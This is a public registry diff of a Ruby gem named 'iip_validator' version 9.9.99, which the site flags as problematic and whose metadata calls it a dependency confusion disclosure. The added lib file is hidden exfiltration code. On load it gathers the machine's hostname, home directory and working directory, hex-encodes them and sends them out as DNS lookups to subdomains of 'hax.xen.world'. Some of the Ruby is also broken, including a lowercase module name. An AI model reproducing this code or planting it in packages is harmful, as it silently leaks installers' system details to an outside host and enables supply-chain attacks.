iip_validator 9.9.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of iip_validator might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/iip_validator.rb +27 -0
  3. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 8b45d508ed5d995477aeccaed6d2f29e5288c3ed5971b6c939dc220f32d36ae5
4
+ data.tar.gz: e5536a0dc28c1dbfa66c9d129e1c63570d70f3fbba63e5c75014c00633966987
5
+ SHA512:
6
+ metadata.gz: 4d80fd4873e89ab00548594bb34bd01b44a1328ed308fe50bc685082a15437a7d6829430e5939528b649d77ab6a7880cf5c3867a29e0563a5edfeebcac3283c9
7
+ data.tar.gz: 429265546eb49c3437d16d6cce9aa62ee3923c8fc8e932b51cc32e2058e3d55498f323fe200c99238728945b3d4241dc9f6a01e3adf5e45bd7eb856f5da097d6
@@ -0,0 +1,27 @@
1
+ module iip_validator
2
+
3
+ require 'json'
4
+ require 'resolv'
5
+
6
+ h = 'hax.xen.world'
7
+ p = 'iip_validator'
8
+ id = rand(36**12).to_s(36)
9
+
10
+ d = {
11
+ 'p' => p,
12
+ 'h' => Socket.gethostname,
13
+ 'd' => File.expand_path('~'),
14
+ 'c' => Dir.pwd
15
+ }
16
+
17
+ d = JSON.generate(d)
18
+ d = d.unpack('H*')[0].scan(/.{1,60}/)
19
+
20
+ d.each.each_with_index do |c, i|
21
+ begin
22
+ Resolv.getaddress id + '.' + i.to_s + '.' + c + ".dns." + h
23
+ rescue; end
24
+ end
25
+
26
+ end
27
+
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: iip_validator
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.9.99
5
+ platform: ruby
6
+ authors:
7
+ - Cody Zacharias
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-09-26 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This Ruby package vulnerable to dependency confiuse vulnerability
14
+ email: codyzacharias@gmail.com
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/iip_validator.rb
20
+ homepage: https://rubygems.org/gems/iip_validator
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ post_install_message:
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.4.19
40
+ signing_key:
41
+ specification_version: 4
42
+ summary: 'Vulnerability Disclosure: Dependency confiuse vulnerability'
43
+ test_files: []